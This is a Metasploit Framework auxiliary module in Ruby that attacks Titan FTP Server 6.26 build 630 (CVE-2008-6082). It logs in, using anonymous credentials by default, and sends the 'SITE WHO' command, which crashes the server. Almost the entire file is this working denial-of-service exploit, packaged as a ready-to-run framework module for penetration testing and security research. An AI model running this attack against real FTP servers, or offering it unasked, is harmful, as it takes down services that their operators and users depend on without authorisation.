metasploit-framework/modules/auxiliary/dos/windows/ftp/titan626_site.rb

53 lines
1.3 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Titan FTP Server 6.26.630 SITE WHO DoS',
'Description' => %q{
The Titan FTP server v6.26 build 630 can be DoS'd by
issuing "SITE WHO". You need a valid login so you
can send this command.
},
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-6082'],
[ 'OSVDB', '49177'],
[ 'URL', 'http://milw0rm.com/exploits/6753']
],
'DisclosureDate' => 'Oct 14 2008'))
# They're required
register_options([
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
])
end
def run
return unless connect_login
print_status("Sending command...")
raw_send("SITE WHO\r\n")
select(nil,nil,nil,1)
disconnect
end
end